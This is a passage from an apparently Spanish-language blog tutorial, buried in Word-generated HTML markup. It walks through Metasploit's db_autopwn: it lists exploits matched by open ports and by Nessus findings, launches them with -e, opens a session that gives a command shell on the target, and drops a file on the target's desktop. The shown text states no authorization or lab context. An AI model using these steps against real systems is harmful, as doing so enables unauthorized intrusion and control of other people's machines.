comando en solitario “db_autopwn” podemos apreciar las siguientes opciones:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;msf &gt; db_autopwn&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;[*] Usage: db_autopwn [options]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;-h&lt;span style=""&gt;          &lt;/span&gt;Display this help text&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;-t&lt;span style=""&gt;          &lt;/span&gt;Show all matching exploit modules&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;-x&lt;span style=""&gt;          &lt;/span&gt;Select modules based on vulnerability references&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;-p&lt;span style=""&gt;          &lt;/span&gt;Select modules based on open ports&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;-e&lt;span style=""&gt;          &lt;/span&gt;Launch exploits against all matched targets&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;-r&lt;span style=""&gt;          &lt;/span&gt;Use a reverse connect shell&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;-b&lt;span style=""&gt;          &lt;/span&gt;Use a bind shell on a random port&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;-q&lt;span style=""&gt;          &lt;/span&gt;Disable exploit module output&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;-I&lt;span style=""&gt;  &lt;/span&gt;[range] Only exploit hosts inside this range&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;-X&lt;span style=""&gt;  &lt;/span&gt;[range] Always exclude hosts inside this range&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;-PI [range] Only exploit hosts with these ports open&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;-PX [range] Always exclude hosts with these ports open&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;-m&lt;span style=""&gt;  &lt;/span&gt;[regex] Only run modules whose name matches the regex&lt;/span&gt;&lt;!--EndFragment--&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IhM_rPvn0ac/SdKUN72ZUKI/AAAAAAAAADU/VGAwYWjsfJg/s1600-h/5.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 191px;" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/SdKUN72ZUKI/AAAAAAAAADU/VGAwYWjsfJg/s320/5.jpeg" alt="" id="BLOGGER_PHOTO_ID_5319477077003030690" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt; &lt;meta name="ProgId" content="Word.Document"&gt; &lt;meta name="Generator" content="Microsoft Word 11"&gt; &lt;meta name="Originator" content="Microsoft Word 11"&gt; &lt;link rel="File-List" href="file:///C:%5Cwindows%5Ctemp%5Cmsohtml1%5C06%5Cclip_filelist.xml"&gt; &lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt; &lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"MS Mincho"; 	panose-1:2 2 6 9 4 2 5 8 3 4; 	mso-font-alt:"ＭＳ 明朝"; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;} @font-face 	{font-family:"\@MS Mincho"; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:none; 	mso-hyphenate:none; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:Arial; 	mso-font-kerning:.5pt; 	mso-fareast-language:AR-SA; 	mso-bidi-language:AR-SA;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt; &lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;!--StartFragment--&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Para sólo ver los exploits que tenemos disponibles para atacar, basados en los puertos que tenemos abiertos, ingresamos el comando:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;msf &gt; db_autopwn -t -p&lt;/span&gt;&lt;!--EndFragment--&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_IhM_rPvn0ac/SdKUIH6JgHI/AAAAAAAAADM/APNliA-qqJk/s1600-h/6.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 310px;" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/SdKUIH6JgHI/AAAAAAAAADM/APNliA-qqJk/s320/6.jpeg" alt="" id="BLOGGER_PHOTO_ID_5319476977160781938" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt; &lt;meta name="ProgId" content="Word.Document"&gt; &lt;meta name="Generator" content="Microsoft Word 11"&gt; &lt;meta name="Originator" content="Microsoft Word 11"&gt; &lt;link rel="File-List" href="file:///C:%5Cwindows%5Ctemp%5Cmsohtml1%5C06%5Cclip_filelist.xml"&gt; &lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt; &lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"MS Mincho"; 	panose-1:2 2 6 9 4 2 5 8 3 4; 	mso-font-alt:"ＭＳ 明朝"; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;} @font-face 	{font-family:"\@MS Mincho"; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:none; 	mso-hyphenate:none; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:Arial; 	mso-font-kerning:.5pt; 	mso-fareast-language:AR-SA; 	mso-bidi-language:AR-SA;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt; &lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;!--StartFragment--&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Para sólo ver los exploits que tenemos disponibles para atacar, basados en las vulnerabilidades que tenemos, ingresamos el comando:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;msf &gt; db_autopwn -t –x&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;!--EndFragment--&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_IhM_rPvn0ac/SdKT87--2lI/AAAAAAAAADE/gW-klntqpgs/s1600-h/7.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 113px;" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/SdKT87--2lI/AAAAAAAAADE/gW-klntqpgs/s320/7.jpeg" alt="" id="BLOGGER_PHOTO_ID_5319476784981269074" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt; &lt;meta name="ProgId" content="Word.Document"&gt; &lt;meta name="Generator" content="Microsoft Word 11"&gt; &lt;meta name="Originator" content="Microsoft Word 11"&gt; &lt;link rel="File-List" href="file:///C:%5Cwindows%5Ctemp%5Cmsohtml1%5C06%5Cclip_filelist.xml"&gt; &lt;o:smarttagtype namespaceuri="urn:schemas-microsoft-com:office:smarttags" name="PersonName"&gt; &lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if !mso]&gt;&lt;object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"&gt;&lt;/object&gt; &lt;style&gt; st1\:*{behavior:url(#ieooui) } &lt;/style&gt; &lt;![endif]--&gt; &lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"MS Mincho"; 	panose-1:2 2 6 9 4 2 5 8 3 4; 	mso-font-alt:"ＭＳ 明朝"; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;} @font-face 	{font-family:"\@MS Mincho"; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:none; 	mso-hyphenate:none; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:Arial; 	mso-font-kerning:.5pt; 	mso-fareast-language:AR-SA; 	mso-bidi-language:AR-SA;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt; &lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;!--StartFragment--&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Listo ya tenemos todo preparado, ahora toca lo más interesante, &lt;st1:personname productid="LA EXPLOTACIÓN" st="on"&gt;&lt;b style=""&gt;LA EXPLOTACIÓN&lt;/b&gt;&lt;/st1:personname&gt;, bien pues vamos a explotar el objetivo basándonos en sus vulnerabilidades descubiertas por nessus, entonces ingresamos el siguiente comando:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="DE"&gt;msf &gt; db_autopwn -t -x -e&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="DE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Y empieza la explotación.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Al finalizar podremos ver las sesiones creadas durante la explotación con el comando:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;msf &gt; sessions –l&lt;/span&gt;&lt;!--EndFragment--&gt;&lt;/o:smarttagtype&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IhM_rPvn0ac/SdKT2zFo49I/AAAAAAAAAC8/twUsoiXyZds/s1600-h/8.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 133px;" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/SdKT2zFo49I/AAAAAAAAAC8/twUsoiXyZds/s320/8.jpeg" alt="" id="BLOGGER_PHOTO_ID_5319476679514055634" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt; &lt;meta name="ProgId" content="Word.Document"&gt; &lt;meta name="Generator" content="Microsoft Word 11"&gt; &lt;meta name="Originator" content="Microsoft Word 11"&gt; &lt;link rel="File-List" href="file:///C:%5Cwindows%5Ctemp%5Cmsohtml1%5C06%5Cclip_filelist.xml"&gt; &lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt; &lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"MS Mincho"; 	panose-1:2 2 6 9 4 2 5 8 3 4; 	mso-font-alt:"ＭＳ 明朝"; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;} @font-face 	{font-family:"\@MS Mincho"; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:none; 	mso-hyphenate:none; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:Arial; 	mso-font-kerning:.5pt; 	mso-fareast-language:AR-SA; 	mso-bidi-language:AR-SA;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt; &lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;!--StartFragment--&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Para seleccionar la sesión que queremos, ingresamos el comando:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;msf &gt; sessions -i N&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;span style=""&gt;          &lt;/span&gt;(donde N es el ID de la sesión)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Vamos a seleccionar la sesión 1 y se generará un &lt;b style=""&gt;CMD&lt;/b&gt; de la máquina explotada.&lt;/span&gt;&lt;!--EndFragment--&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IhM_rPvn0ac/SdKTwLaYYBI/AAAAAAAAAC0/RXTMdLQow4Q/s1600-h/9.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 215px;" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/SdKTwLaYYBI/AAAAAAAAAC0/RXTMdLQow4Q/s320/9.jpeg" alt="" id="BLOGGER_PHOTO_ID_5319476565784420370" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;br /&gt;Para finalizar creamos un archivo *.txt y lo colocamos en el escritorio de la máquina explotada.&lt;/span&gt;&lt;!--EndFragment--&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IhM_rPvn0ac/SdKTo20UPmI/AAAAAAAAACs/xfG_I39uTOk/s1600-h/10.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 284px;" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/SdKTo20UPmI/AAAAAAAAACs/xfG_I39uTOk/s320/10.jpeg" alt="" id="BLOGGER_PHOTO_ID_5319476439996972642" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IhM_rPvn0ac/SdKTaFUzlRI/AAAAAAAAACk/ZvzLLUqf3U0/s1600-h/11.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 278px;" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/SdKTaFUzlRI/AAAAAAAAACk/ZvzLLUqf3U0/s320/11.jpeg" alt="" id="BLOGGER_PHOTO_ID_5319476186193302802" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt; &lt;meta name="ProgId" content="Word.Document"&gt; &lt;meta name="Generator" content="Microsoft Word 11"&gt; &lt;meta name="Originator" content="Microsoft Word 11"&gt; &lt;link rel="File-List" href="file:///C:%5Cwindows%5Ctemp%5Cmsohtml1%5C06%5Cclip_filelist.xml"&gt; &lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   